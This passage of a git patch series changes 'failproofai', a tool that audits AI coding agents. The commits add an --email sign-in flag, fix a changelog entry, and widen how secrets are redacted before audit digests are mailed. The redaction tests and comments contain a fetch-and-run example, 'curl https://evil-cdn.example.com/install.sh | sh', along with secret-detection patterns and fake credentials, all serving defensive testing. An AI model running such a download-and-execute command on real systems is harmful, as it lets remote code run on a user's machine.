sign-in dialog so it stops displaying an address while asking for one. Turning scheduling OFF is still never refused — an expired session must not trap somebody into keeping a feature they are trying to disable. Separately, the settings panel's **sends** line stops saying "only counts and redacted examples": the report carries the machine's name too — its hostname, which routinely carries its owner's — and very nearly true is the worse kind of claim when the reader can check it against the same email. It now enumerates all three, in the same order the digest does. (#698) diff --git a/__tests__/audit/cli-login.test.ts b/__tests__/audit/cli-login.test.ts index a823e24f..95b81cc5 100644 --- a/__tests__/audit/cli-login.test.ts +++ b/__tests__/audit/cli-login.test.ts @@ -167,3 +167,27 @@ describe("extractCode", () => { expect(extractCode("code 007123")).toBe("007123"); }); }); + +describe("a preset address", () => { + it("asks only for the code", async () => { + // One prompt, not two — the flag already answered the first question. + promptTextMock.mockResolvedValueOnce("123456"); + + const user = await runLogin("Preset@Example.com"); + + expect(user.email).toBe(TOKENS.user.email); + expect(promptTextMock).toHaveBeenCalledTimes(1); + expect(promptTextMock.mock.calls[0]![0].message).toBe("code"); + // Normalised before it goes anywhere, the same as a typed address. + expect(requestMock).toHaveBeenCalledWith("preset@example.com"); + }); + + it("still sends the code to that address before asking for it", async () => { + // The order matters: a flag that skipped the request would leave somebody + // waiting at a code prompt for a mail that was never sent. + promptTextMock.mockResolvedValueOnce("123456"); + await runLogin("preset@example.com"); + + expect(requestMock).toHaveBeenCalledBefore(verifyMock); + }); +}); diff --git a/__tests__/audit/schedule-cli.test.ts b/__tests__/audit/schedule-cli.test.ts index 6b1b1c96..e572ff1f 100644 --- a/__tests__/audit/schedule-cli.test.ts +++ b/__tests__/audit/schedule-cli.test.ts @@ -250,3 +250,49 @@ describe("daemon reporting", () => { } }); }); + +describe("--email", () => { + it("signs in without asking for the address", async () => { + // The point of the flag: one command, then the only thing left to do is + // read the code out of the email and type it. + writeAuth(SESSION); + await runScheduleOn("7", "you@example.com"); + + expect(readConfig().audit.auto).toBe(true); + expect(readConfig().audit.intervalDays).toBe(7); + }); + + it("matches the stored address case-insensitively, as a mail server would", async () => { + writeAuth(SESSION); + await expect(runScheduleOn("7", "YOU@Example.COM")).resolves.toBeUndefined(); + expect(readConfig().audit.auto).toBe(true); + }); + + it("refuses a DIFFERENT address rather than silently re-pointing the machine", async () => { + // Where a machine's digests go is not something a flag should change + // quietly — that is a thing nobody notices until they stop arriving. + writeAuth(SESSION); + + await expect(runScheduleOn("7", "someone.else@example.com")).rejects.toThrow( + /already signed in as you@example\.com/i, + ); + // And nothing was written on the way to refusing. + expect(readConfig().audit.auto).toBe(false); + }); + + it("rejects an address that is not one, before anything is sent", async () => { + // No session on disk: reaching the sign-in would throw about a + // non-interactive terminal instead, which is how we know this failed at the + // flag rather than after a code had already gone out. + for (const bad of ["nope", "a@b", "@example.com", ""]) { + await expect(runScheduleOn("7", bad)).rejects.toThrow(/--email/); + } + expect(readConfig().audit.auto).toBe(false); + }); + + it("still requires a terminal for the code itself", async () => { + // The flag answers the first question, not the second. vitest has no TTY, + // which is the same position a cron line is in. + await expect(runScheduleOn("7", "new@example.com")).rejects.toThrow(/interactive terminal/i); + }); +}); diff --git a/bin/failproofai.mjs b/bin/failproofai.mjs index 200cf158..419a0a53 100755 --- a/bin/failproofai.mjs +++ b/bin/failproofai.mjs @@ -330,7 +330,8 @@ COMMANDS audit Audit your agent's behavior, then open the dashboard at http://localhost:8020/audit audit --schedule [days] Audit on a timer (default 7 days) and email you - what it finds. Signs you in the first time. + what it finds. Signs you in the first time; + --email
skips that question audit --no-schedule Stop auditing on a timer audit --status Whether scheduling is on, where reports go, and when the next scan is due diff --git a/src/audit/cli-login.ts b/src/audit/cli-login.ts index 6d4ce0ae..eb998869 100644 --- a/src/audit/cli-login.ts +++ b/src/audit/cli-login.ts @@ -107,9 +107,22 @@ export function canPrompt(): boolean { * the reporting path's problem, and it already handles that by pausing digests * rather than failing. */ -export async function ensureSignedIn(): Promise { +export async function ensureSignedIn(preset?: string): Promise { const existing = readAuth(); - if (existing) return { user: existing.user, prompted: false }; + if (existing) { + // A machine already reports as somebody. An `--email` naming a DIFFERENT + // address is refused rather than honoured: silently re-pointing where a + // machine's digests go is the kind of change nobody notices until they + // stop arriving, and the flag reads as "sign me in", not "switch accounts". + if (preset && !sameAddress(preset, existing.user.email)) { + throw new LoginError( + `This machine is already signed in as ${existing.user.email}.\n` + + `To report as ${preset.trim().toLowerCase()} instead, sign out first — ` + + `from the dashboard, or by removing ~/.failproofai/audit/session.json.`, + ); + } + return { user: existing.user, prompted: false }; + } if (!canPrompt()) { throw new LoginError( @@ -119,7 +132,25 @@ export async function ensureSignedIn(): Promise { ); } - return { user: await runLogin(), prompted: true }; + return { user: await runLogin(preset), prompted: true }; +} + +/** Addresses compare case-insensitively, because a mail server does. */ +function sameAddress(a: string, b: string): boolean { + return a.trim().toLowerCase() === b.trim().toLowerCase(); +} + +/** + * Reject an address the flag supplied before anything is drawn or sent. + * + * Returned as a message rather than thrown so the caller can fail at the CLI + * boundary, next to where the day count is checked — a typo'd flag should look + * like a usage error, not like a sign-in that opened a frame and gave up. + */ +export function invalidEmail(address: string): string | null { + return EMAIL_RE.test(address.trim()) + ? null + : `\`--email\` needs an email address (got: ${address}).`; } /** @@ -133,21 +164,29 @@ export async function ensureSignedIn(): Promise { * * Exported so a test can drive it without the caller. */ -export async function runLogin(): Promise { +export async function runLogin(preset?: string): Promise { intro("scheduled audits need somewhere to send the report"); - const email = await promptText({ - prefix: spine(), - message: "your email", - hint: "you@yourdomain.com", - validate: (v) => (EMAIL_RE.test(v.trim()) ? null : "that doesn't look like an email"), - }); - if (email === null) { - outro("Cancelled — nothing was changed.", { ok: false }); - throw new LoginError("Cancelled."); + let address: string; + if (preset) { + // Supplied on the command line, so the question is already answered — but + // it is still SHOWN, as a settled step, because it is the address a code is + // about to be sent to and the flag is exactly where a typo hides. + address = preset.trim().toLowerCase(); + step("your email", address); + } else { + const email = await promptText({ + prefix: spine(), + message: "your email", + hint: "you@yourdomain.com", + validate: (v) => (EMAIL_RE.test(v.trim()) ? null : "that doesn't look like an email"), + }); + if (email === null) { + outro("Cancelled — nothing was changed.", { ok: false }); + throw new LoginError("Cancelled."); + } + address = email.trim().toLowerCase(); } - - const address = email.trim().toLowerCase(); let expiresInMin = 10; try { const sent = await requestLoginCode(address); diff --git a/src/audit/cli.ts b/src/audit/cli.ts index 3f2b89b9..a2c1b8b0 100644 --- a/src/audit/cli.ts +++ b/src/audit/cli.ts @@ -73,11 +73,12 @@ USAGE 75 means another audit already had the lock. SCHEDULING - failproofai audit --schedule [days] + failproofai audit --schedule [days] [--email you@yourdomain.com] Scan on a timer in the background (default 7 days, 1-90), and email you when a scan finds something - harmful. Asks for your email the first time — the - report has to go somewhere. + harmful. Signs you in the first time — the report + has to go somewhere. Pass --email to answer that + up front and go straight to entering the code. failproofai audit --no-schedule Stop scanning on a timer. Leaves you signed in. failproofai audit --status @@ -531,19 +532,45 @@ export async function runAuditCli(args: string[]): Promise { const scheduleAt = args.indexOf("--schedule"); if (scheduleAt !== -1) { - // `--schedule` takes an OPTIONAL day count, so the next token is only an - // argument when it is not itself a flag — `--schedule --status` must not - // read "--status" as a number of days. - const maybeDays = args[scheduleAt + 1]; - const days = maybeDays !== undefined && !maybeDays.startsWith("-") ? maybeDays : undefined; - const consumed = new Set(["--schedule", ...(days !== undefined ? [days] : [])]); - const extra = args.find((a) => !consumed.has(a)); - if (extra) die(`\`audit --schedule\` takes only a number of days (got: ${extra}).`); + // Parsed POSITIONALLY rather than by matching values against a set: an + // address and a day count are both just strings, and "have I already seen + // this string" cannot tell the argument of one flag from the argument of + // another. + let days: string | undefined; + let email: string | undefined; + for (let i = 0; i < args.length; i += 1) { + const a = args[i]; + if (a === "--schedule") { + // The day count is OPTIONAL, so the next token counts only when it is + // not itself a flag — `--schedule --email x` must not read "--email" + // as a number of days. + const next = args[i + 1]; + if (next !== undefined && !next.startsWith("-")) { + days = next; + i += 1; + } + continue; + } + if (a === "--email" || a.startsWith("--email=")) { + // Both forms, because both are what people type. + if (a.startsWith("--email=")) { + email = a.slice("--email=".length); + } else { + email = args[i + 1]; + i += 1; + } + if (email === undefined || email.length === 0 || email.startsWith("-")) { + die("`--email` needs an address, e.g. `--email you@yourdomain.com`."); + } + continue; + } + die(`\`audit --schedule\` does not take ${a}.`); + } const { runScheduleOn, ScheduleCliError } = await import("./schedule-cli"); const { LoginError } = await import("./cli-login"); try { - await runScheduleOn(days); + await runScheduleOn(days, email); } catch (err) { // Both are "the user needs to read one sentence and try again", not a // stack trace: a wrong day count, a cancelled prompt, an api-server that diff --git a/src/audit/schedule-cli.ts b/src/audit/schedule-cli.ts index 7c376ad6..767cb335 100644 --- a/src/audit/schedule-cli.ts +++ b/src/audit/schedule-cli.ts @@ -30,7 +30,7 @@ import { readAuth } from "../../lib/auth/auth-store"; import { readAuditSchedule } from "./audit-schedule"; import { readDashboardCacheMeta } from "./dashboard-cache"; import { readMachineIdentity } from "./machine-store"; -import { ensureSignedIn, LoginError } from "./cli-login"; +import { ensureSignedIn, invalidEmail, LoginError } from "./cli-login"; import { ANSI_BOLD, ANSI_DIM, @@ -99,7 +99,10 @@ function row(label: string, value: string, note?: string): string { * config actually kept — `readIntervalDays` owns the 1..90 clamp and a second * copy of those bounds here would be one more thing to drift. */ -export async function runScheduleOn(daysArg: string | undefined): Promise { +export async function runScheduleOn( + daysArg: string | undefined, + emailArg?: string, +): Promise { let days: number | undefined; if (daysArg !== undefined) { const parsed = Number(daysArg); @@ -116,7 +119,15 @@ export async function runScheduleOn(daysArg: string | undefined): Promise days = parsed; } - const { user, prompted } = await ensureSignedIn(); + // Checked here, beside the day count and before anything is drawn or sent: a + // typo'd flag should read as a usage error, not as a sign-in that opened a + // frame and then gave up. + if (emailArg !== undefined) { + const bad = invalidEmail(emailArg); + if (bad) throw new ScheduleCliError(bad); + } + + const { user, prompted } = await ensureSignedIn(emailArg); const next = updateConfig({ audit: { auto: true, ...(days !== undefined ? { intervalDays: days } : {}) }, From ce3852c8cf228592e6494cfdc02e74fec0da17c0 Mon Sep 17 00:00:00 2001 From: SiddarthAA Date: Sat, 15 Aug 2026 11:18:57 +0530 Subject: [PATCH 17/24] Stop the layout-4 changelog contradicting itself MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit It said the migration is "three moves and no deletions" and then, two sentences later, that a stale original is dropped. Both were describing real behaviour — the step deletes exactly one thing, a legacy source whose destination already holds the authoritative copy — but "no deletions" is the wrong summary of that, and the entry is what somebody reads before deciding whether an upgrade can lose them a credential. Also states what happens when that removal fails, which the entry never mentioned: it propagates, so the home stays at layout 3 and retries rather than being marked migrated with the credential still at the root. Co-Authored-By: Claude Opus 5 (1M context) --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 7d84c48c..9b272696 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -22,7 +22,7 @@ - Report harmful findings from a scheduled audit, so the machine can tell you what its agent did instead of asking you to go and look. A new `[audit] email_enabled` — a SEPARATE switch from `auto`, because `audit --help` promises the scan "runs fully offline — no account or network required" and that must stay true for anyone who wants scheduled scanning and nothing else. Off by default, like `auto`, and for a stronger version of the same reason: the failure direction is a machine mailing an account nobody pointed it at. **The window is applied per event, not through `--since`.** `--since` filters on transcript MTIME, which is right for deciding which files to open and wrong as a window: a session left open for a month has a fresh mtime, so `--since 7d` hands back that whole transcript including month-old events, and the first digest anyone received would describe everything their agent had ever done as though it happened that week. The scan stays unfiltered and the window is applied here, against the timestamps `AuditCount` already carries. Where activity straddles the boundary the report counts the EXAMPLES inside it rather than the policy's total — the cache stores counts, not event lists, so there is nothing to subtract; undercounting is the safe direction because the server's threshold reads these, and it can delay a digest but never invent one. **Harm is `deny` + `sanitize`**, plus `protect-env-vars` by hand: `severityForBuiltin` derives severity from the NAME PREFIX, so a policy that blocks `env`/`printenv` outright reads as hygiene, and its whole subject is an agent reaching for the environment — inheriting a scoring heuristic's blind spot into a security digest would be the wrong kind of consistency. Examples are redacted before they leave, against `SECRET_PATTERNS` — now exported from `builtin-policies.ts`, so blocking and redacting share one definition of "secret" rather than growing a second list beside it that eventually disagrees. Masking runs BEFORE path-shortening, because shortening can cut a path mid-token and a credential sliced in half stops matching its own pattern and ships as a fragment. `~/.failproofai/audit/machine.json` holds the machine id and the digest watermark, both `identity` class: regenerate the id and the server sees a new machine on every logout, reset the watermark and the next report re-covers months. The id is minted fresh rather than reusing `state/telemetry-id`, so opting into a digest never links the anonymous telemetry person to a verified address. The whole path runs in the audit CHILD, never the daemon — refresh rotation is theft-detecting, and keeping the token inside the audit lock is what stops a cross-process race from revoking every session a user has. Scheduled runs only, and nothing in it can fail a scan: every error is an outcome, so a dead network or an expired session leaves the local audit working and its dashboard correct. (#698) -- Gather everything the audit owns under `audit/`, as layout 4. `auth.json` becomes `audit/session.json`, `next-audit.json` becomes `audit/reminder.json`, and `state/audit-schedule.json` becomes `audit/schedule.json`, so one directory answers "what does the audit know about this machine" the way `policies/` answers it for enforcement. Two new paths join them, and the split between them is the design rather than tidiness: `session.json` holds the tokens and is `user-typed`, while `machine.json` holds this machine's report id and its digest watermark and is `identity`. Both fields have to outlive a sign-out — regenerate the id and the server sees a brand-new machine on every logout, reset the watermark and the next digest re-reports months of history as though it just happened — so they cannot live in the file a sign-out deletes. **`auditDir` is now deliberately absent from `HOME_CLASSES`.** It was classified `derived` wholesale, which was correct for a directory holding two caches and became a trap the moment a credential moved in: `resettablePaths()` is a filter over that table, so a reset and every future migration would have deleted the user's tokens. It is MIXED now and classified per-file, exactly like `state/` already is, and the `COVERED_BY_PARENT` guard records it as the second entry mapping to itself. The migration is three moves and no deletions, each a rename with a copy fallback because `audit/` and the home root land on different filesystems once `$HOME` is a network mount and `rename(2)` returns `EXDEV` there. A missing source is success — most homes never signed in, so two of the three files are absent on the majority of machines — and an existing destination wins, because re-running the step is exactly what happens when a later step in the same chain throws and the user retries; the stale original is dropped rather than left at the root, since a second copy of a bearer credential is a liability. `session.json`'s mode is reasserted to `0600` afterwards rather than assumed, because a rename preserves it and the copy fallback inherits the umask. All three are backed up first: `auth.json` is a live credential that, unlike every other file in that list, was never on a delete list and so has never had a copy taken before a migration touched it. `next-audit.json` is MOVED rather than retired even though the scheduled-audit work replaces reminders, because a migration that deleted it before that work landed would drop a cadence a person chose with no way back if the follow-up slipped. (#695) +- Gather everything the audit owns under `audit/`, as layout 4. `auth.json` becomes `audit/session.json`, `next-audit.json` becomes `audit/reminder.json`, and `state/audit-schedule.json` becomes `audit/schedule.json`, so one directory answers "what does the audit know about this machine" the way `policies/` answers it for enforcement. Two new paths join them, and the split between them is the design rather than tidiness: `session.json` holds the tokens and is `user-typed`, while `machine.json` holds this machine's report id and its digest watermark and is `identity`. Both fields have to outlive a sign-out — regenerate the id and the server sees a brand-new machine on every logout, reset the watermark and the next digest re-reports months of history as though it just happened — so they cannot live in the file a sign-out deletes. **`auditDir` is now deliberately absent from `HOME_CLASSES`.** It was classified `derived` wholesale, which was correct for a directory holding two caches and became a trap the moment a credential moved in: `resettablePaths()` is a filter over that table, so a reset and every future migration would have deleted the user's tokens. It is MIXED now and classified per-file, exactly like `state/` already is, and the `COVERED_BY_PARENT` guard records it as the second entry mapping to itself. The migration is three moves, each a rename with a copy fallback because `audit/` and the home root land on different filesystems once `$HOME` is a network mount and `rename(2)` returns `EXDEV` there. A missing source is success — most homes never signed in, so two of the three files are absent on the majority of machines — and an existing destination wins, because re-running the step is exactly what happens when a later step in the same chain throws and the user retries. Nothing is deleted to make room: the ONLY file the step removes is a legacy source whose destination already holds the authoritative copy, and it is removed rather than left at the root because a second copy of a bearer credential is a liability. A failure to remove it propagates rather than being swallowed, so the home stays at layout 3 and retries instead of being marked migrated with the credential still sitting there. `session.json`'s mode is reasserted to `0600` afterwards rather than assumed, because a rename preserves it and the copy fallback inherits the umask. All three are backed up first: `auth.json` is a live credential that, unlike every other file in that list, was never on a delete list and so has never had a copy taken before a migration touched it. `next-audit.json` is MOVED rather than retired even though the scheduled-audit work replaces reminders, because a migration that deleted it before that work landed would drop a cadence a person chose with no way back if the follow-up slipped. (#695) ### Fixes From 93a66eeed58ac3f8965e73ff65c380e18897d633 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Sat, 15 Aug 2026 14:06:59 +0530 Subject: [PATCH 18/24] Stop the digest shipping assigned secrets, and two redaction misfires MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `protect-env-vars` is in the harm digest's set and its dominant trigger is `export VAR=…`, whose example is the whole command. SECRET_PATTERNS matches nine vendor-prefixed formats, a JWT, a literal `Authorization: Bearer` and a fixed non-HTTP scheme list — none of which is an assignment. So `export DATABASE_PASSWORD=hunter2-prod-acme` left the machine verbatim, and `export` is ubiquitous in agent sessions. maskAssignedSecrets covers the three shapes that gap left open: `NAME=value` where the name says credential, `scheme://user:pass@host` on any scheme, and curl's `-u user:pass`. The name is kept and only the value masked, because which credential leaked is the actionable half. It runs last of the three passes so the vendor patterns keep first refusal on anything they can label precisely. These patterns live in the redactor rather than in the shared SECRET_PATTERNS deliberately. The two jobs have opposite error costs: sanitize-* BLOCKS a tool call, so a name-based rule there denies work the user wanted; redaction only removes characters from a digest, so it can afford the wider net. Two misfires in the same file: - Every prefix in SECRET_PREFIXES was unanchored, so `sk-` matched inside ordinary words: `kubectl get pods -n risk-scoring` redacted to `… -n ri[REDACTED: OpenAI API key]`, inventing a credential the digest then reported and destroying the token that said which command ran. - shortenPaths deleted a URL's host as though it were a directory, so `curl https://evil-cdn.example.com/install.sh` came out `https:/…/install.sh` — the domain is the entire security decision in that finding. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_015VjTTZmp2SuMaGS56qPZHf --- __tests__/audit/redact-example.test.ts | 106 ++++++++++++++++++ src/audit/redact-example.ts | 143 ++++++++++++++++++++++--- 2 files changed, 235 insertions(+), 14 deletions(-) diff --git a/__tests__/audit/redact-example.test.ts b/__tests__/audit/redact-example.test.ts index 37331a5c..ded6ce64 100644 --- a/__tests__/audit/redact-example.test.ts +++ b/__tests__/audit/redact-example.test.ts @@ -207,3 +207,109 @@ describe("the home directory itself", () => { expect(out).not.toContain("sidd2"); }); }); + +describe("maskAssignedSecrets — the shape the blocking patterns do not carry", () => { + // `protect-env-vars` is in the digest's harmful set and its dominant trigger + // is `export VAR=…`, whose example is the WHOLE command. Every one of these + // reached the server and the email verbatim before this masking existed: + // `SECRET_PATTERNS` matches vendor prefixes, not assignments. + it("masks the value of an assignment whose name says it is a credential", () => { + const cases = [ + "export DATABASE_PASSWORD=hunter2-prod-acme", + "export SLACK_BOT_TOKEN=xoxb-2314-4432-aBcDeFgHiJkLmNoPqRsTuVwX", + "export HF_TOKEN=hf_AbCdEfGhIjKlMnOpQrStUvWxYz012345", + "export NPM_TOKEN=npm_aBcDeFgHiJkLmNoPqRsTuVwXyZ0123456789", + "export GITLAB_TOKEN=glpat-AbCdEfGhIjKlMnOpQr", + "export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMIK7MDENGbPxRfiCYEXAMPLEKEY", + "FOO_SECRET=abc123 ./run.sh", + "PGPASSWORD=letmein psql -h prod", + "npm config set _authToken=abcdef123456", + ]; + for (const input of cases) { + const out = redactExample(input, HOME); + expect(out, input).toContain("[REDACTED: assigned secret]"); + // The secret itself must be gone; the NAME is kept on purpose, because + // "which credential" is the actionable half of the finding. + const value = input.split("=")[1].split(" ")[0]; + expect(out, input).not.toContain(value); + } + }); + + it("keeps the variable name, so the digest still says what was exposed", () => { + expect(redactExample("export DATABASE_PASSWORD=hunter2", HOME)).toBe( + "export DATABASE_PASSWORD=[REDACTED: assigned secret]", + ); + }); + + it("masks credentials inline in a URL, on schemes the block list omits", () => { + // CONNECTION_STRING_RE deliberately excludes http/https, so this shape was + // covered by nothing. + const out = redactExample("curl https://user:p4sswrd@internal.example.com/api", HOME); + expect(out).toContain("[REDACTED: URL credentials]"); + expect(out).not.toContain("p4sswrd"); + }); + + it("masks curl's basic-auth flag in both spellings", () => { + for (const flag of ["-u", "--user"]) { + const out = redactExample(`curl ${flag} admin:s3cr3t https://api.internal/x`, HOME); + expect(out, flag).toContain("[REDACTED: basic auth]"); + expect(out, flag).not.toContain("s3cr3t"); + } + }); + + it("masks secrets passed as query parameters", () => { + const out = redactExample('curl "https://api.x/v1?token=abcdef123456&sig=deadbeef"', HOME); + expect(out).not.toContain("abcdef123456"); + expect(out).not.toContain("deadbeef"); + }); + + it("leaves ordinary assignments alone", () => { + // Over-redaction is cheap here but not free: a digest of `[REDACTED]` says + // nothing. These are the names that LOOK like credentials and are not. + for (const input of [ + "export EDITOR=vim", + "MONKEY_COUNT=12 PASSENGERS=4 AUTHOR=jane", + "NODE_ENV=production npm run build", + ]) { + expect(redactExample(input, HOME), input).not.toContain("[REDACTED"); + } + }); +}); + +describe("secret prefixes only fire at a token boundary", () => { + it("does not find an API key inside an ordinary word", () => { + // `sk-` unanchored matched the middle of `risk-scoring`, which both invents + // a credential the digest then reports and destroys the identifying tail. + expect(redactExample("kubectl get pods -n risk-scoring", HOME)).toBe( + "kubectl get pods -n risk-scoring", + ); + for (const word of ["task-runner", "desk-setup", "brisk-mode"]) { + expect(redactExample(`npm run ${word}`, HOME), word).toBe(`npm run ${word}`); + } + }); + + it("still masks a real truncated key at a boundary", () => { + expect(redactExample("export MY_KEY=sk-abcdefghijklmnop", HOME)).toContain("[REDACTED"); + expect(redactExample("curl -H 'x: Bearer abcdefghij", HOME)).toContain("[REDACTED: bearer token]"); + }); +}); + +describe("a URL's host survives path shortening", () => { + it("keeps the domain, which is the whole finding in a curl-pipe-sh hit", () => { + // The host was being deleted as though it were a directory: this came out + // as `curl https:/…/install.sh`, with the one token that mattered gone. + const out = redactExample("curl https://evil-cdn.example.com/install.sh", HOME); + expect(out).toContain("evil-cdn.example.com"); + expect(out).toContain("install.sh"); + }); + + it("still elides a deep URL path", () => { + expect(redactExample("curl https://cdn.example.com/a/b/c/install.sh", HOME)).toBe( + "curl https://cdn.example.com/…/install.sh", + ); + }); + + it("still shortens ordinary absolute paths", () => { + expect(redactExample("head /var/lib/acme/secrets.yml", HOME)).toBe("head /…/secrets.yml"); + }); +}); diff --git a/src/audit/redact-example.ts b/src/audit/redact-example.ts index 91206349..5062a0aa 100644 --- a/src/audit/redact-example.ts +++ b/src/audit/redact-example.ts @@ -7,7 +7,7 @@ * value of the digest, and those strings are also the only thing in the report * that could carry something a person would mind sending. * - * Two transforms, in this order, and the order matters: + * Three transforms, in this order, and the order matters: * * 1. **Secrets are masked**, against `SECRET_PATTERNS` — the same list the * `sanitize-*` policies block on. One definition of "secret", used for both @@ -17,7 +17,13 @@ * time, so a command ending in a credential reaches this module with the * credential's tail missing and the full pattern no longer matching. See * `maskTruncatedSecret`. - * 2. **Home paths are shortened**, so `/home/sidd/work/acme/src/db.ts` becomes + * 2. **Assigned secrets are masked** — `DATABASE_PASSWORD=hunter2`, + * `https://user:pass@host`, `curl -u user:pass`. These are shapes the + * BLOCKING patterns deliberately do not carry, because a name-based rule + * that denies a tool call would misfire on ordinary work. Redaction only + * removes characters, so it can afford the wider net. See + * `maskAssignedSecrets`. + * 3. **Home paths are shortened**, so `/home/sidd/work/acme/src/db.ts` becomes * `~/…/db.ts`. The basename is what makes a finding recognisable; the * directory chain is a map of someone's disk and their employer's project * names. @@ -80,18 +86,24 @@ const PUBLIC_PATH_ROOTS = ["/dev/", "/proc/", "/sys/"]; * END of the string — with nothing after it, or too little to have matched — is * masked on the assumption it was cut, which costs a few characters of context * in the rare case it was not. + * + * Each prefix is guarded by `(? = [ - [/(?:Authorization:\s*)?Bearer\s+\S*$/i, "bearer token"], - [/sk-ant-\S*$/, "Anthropic API key"], - [/sk-proj-\S*$/, "OpenAI project API key"], - [/sk-\S*$/, "OpenAI API key"], - [/ghp_\S*$/, "GitHub personal access token"], - [/github_pat_\S*$/, "GitHub fine-grained token"], - [/AKIA\S*$/, "AWS access key ID"], - [/sk_live_\S*$/, "Stripe live secret key"], - [/sk_test_\S*$/, "Stripe test secret key"], - [/AIza\S*$/, "Google API key"], + [/(? upper.includes(word))) return true; + return upper.split("_").some((part) => SECRET_NAME_COMPONENTS.includes(part)); +} + +/** + * Mask secrets whose shape is an ASSIGNMENT rather than a known vendor prefix. + * + * This is the one class the blocking patterns deliberately do not cover, and + * the gap mattered because `protect-env-vars` is in the digest's harmful set + * (`harm-report.ts`) and its dominant trigger is `export VAR=…` — so the + * example is the whole command, value included. `SECRET_PATTERNS` matches nine + * vendor-prefixed key formats, a JWT, a literal `Authorization: Bearer` and a + * fixed non-HTTP scheme list; none of them matches + * `export DATABASE_PASSWORD=hunter2-prod-acme`, and `export` is ubiquitous in + * agent sessions. Every one of those shipped verbatim. + * + * These patterns live HERE rather than in `SECRET_PATTERNS` on purpose, and it + * is not the "second list that eventually disagrees" this module warns about. + * The two jobs have opposite error costs: the `sanitize-*` policies BLOCK a + * tool call, so a false positive there is a denial of work the user wanted, and + * a name-based rule would deny `export EDITOR=vim` on a machine with + * `PASSTHROUGH` in the environment. Redaction only removes characters from a + * digest, so it can afford to be generous, and being generous is the point. The + * shared list stays the floor; this is the redactor spending its extra margin. + * + * The NAME is kept and only the value is masked — `DATABASE_PASSWORD=[REDACTED: + * assigned secret]` still tells the reader which credential was exposed, which + * is the actionable half of the finding. + */ +export function maskAssignedSecrets(input: string): string { + let out = input.replace(ASSIGNMENT_RE, (match, name: string, value: string) => { + if (!isSecretName(name)) return match; + // An earlier pass already named this one, and it named it better. + // `export ANTHROPIC_API_KEY=sk-ant-…` is masked by the vendor pattern as + // "Anthropic API key"; re-masking it here would downgrade that to the + // generic label and strip the marker's own tail as it went. + if (value.startsWith("[REDACTED")) return match; + return `${name}=[REDACTED: assigned secret]`; + }); + out = out.replace(URL_CREDENTIALS_RE, "$1[REDACTED: URL credentials]@"); + out = out.replace(BASIC_AUTH_FLAG_RE, "$1[REDACTED: basic auth]"); + return out; +} + /** * Mask anything matching a known secret shape. * @@ -144,9 +239,25 @@ export function shortenPaths(input: string, home = homedir()): string { // with `/home/u/`), which silently turned off home detection for the one path // that most needed it. const homeRoot = home.replace(/\/+$/, ""); - return input.replace(ABSOLUTE_PATH_RE, (match) => { + return input.replace(ABSOLUTE_PATH_RE, (match, offset: number, whole: string) => { // Kernel/device paths are the same on every machine and identify nobody. if (PUBLIC_PATH_ROOTS.some((root) => match.startsWith(root))) return match; + + // A URL's HOST is not a directory, and it was being deleted as one. + // + // `curl https://evil-cdn.example.com/install.sh | sh` came out as + // `curl https:/…/install.sh` — the domain is the entire security decision + // in a `block-curl-pipe-sh` finding, and it was the one token removed. The + // match begins at the second slash of `://`, so the scheme is checked + // behind it and the host kept while the path is still shortened. + if (offset > 0 && whole[offset - 1] === "/" && /[a-z][a-z0-9+.\-]*:$/i.test(whole.slice(0, offset - 1))) { + const urlSegments = match.split("/").filter(Boolean); + if (urlSegments.length <= 1) return match; + const host = urlSegments[0]; + const leaf = urlSegments[urlSegments.length - 1]; + const elided = urlSegments.length > 2 ? "/…" : ""; + return `/${host}${elided}/${leaf}${match.endsWith("/") ? "/" : ""}`; + } const trailingSlash = match.endsWith("/"); const segments = match.split("/").filter(Boolean); if (segments.length === 0) return match; @@ -188,7 +299,11 @@ export function shortenPaths(input: string, home = homedir()): string { * saying nothing the single line does not. */ export function redactExample(input: string, home = homedir()): string { - const masked = maskTruncatedSecret(maskSecrets(input)); + // Assignment masking runs LAST of the three, so the two pattern-based passes + // get first refusal on anything they can name precisely. A vendor prefix + // yields "[REDACTED: Anthropic API key]"; falling through to this one would + // have said only "assigned secret", which is true but less useful to read. + const masked = maskAssignedSecrets(maskTruncatedSecret(maskSecrets(input))); const shortened = shortenPaths(masked, home); const collapsed = shortened.replace(/\s+/g, " ").trim(); return collapsed.length > REDACTED_EXAMPLE_MAX_CHARS From 087144dc76bada6de875fb5c7d0155614c2941b4 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Sat, 15 Aug 2026 14:11:22 +0530 Subject: [PATCH 19/24] Do not read an old `audit.auto` as consent to send findings off the machine MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `reportHarm` gated every network send on `config.audit.auto` alone. Through 1.0.0 that key meant "scan this machine locally on a timer" and nothing more: no account, no network, `setAutoAuditAction` had no auth check at all, and the toggle that wrote it said in as many words that nothing leaves the machine. Harm digests gave the same stored bit a second job. Any machine with `auto` already true and a session on disk — which the reminder and invite flows already created, and which migrateToLayout4 carries forward intact — would have uploaded redacted transcript excerpts and mailed a digest on its first scheduled run after upgrading, having agreed to nothing of the kind. The only notice was a stdout line that on a headless box goes to the journal. The new consent gates only ever fired at ENABLE time; nothing re-consented a machine that was already enabled. So sending is now gated on `audit.reports_consented_at`, stamped in the same write as `auto` by both opt-in paths — the CLI's `--schedule` (after its sign-in) and the dashboard toggle (after its whoAmI check, looking at the panel that enumerates what gets sent). This is not the second switch the config's own comment rejects and is never drawn as one: `auto` is what a person sets, this records the disclosure they saw, and nothing can set one without the other. A grandfathered machine keeps scanning locally, sends nothing, and gets a line saying how to turn digests on. Also fixes the signed-out line, which pointed at an audit-page sign-in this release moved behind "invite a friend". Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_015VjTTZmp2SuMaGS56qPZHf --- .../actions/update-scheduled-audit.test.ts | 5 +- __tests__/audit/report-harm.test.ts | 60 ++++++++++++++++++- app/actions/update-scheduled-audit.ts | 13 +++- src/audit/report-harm.ts | 18 +++++- src/audit/schedule-cli.ts | 11 +++- 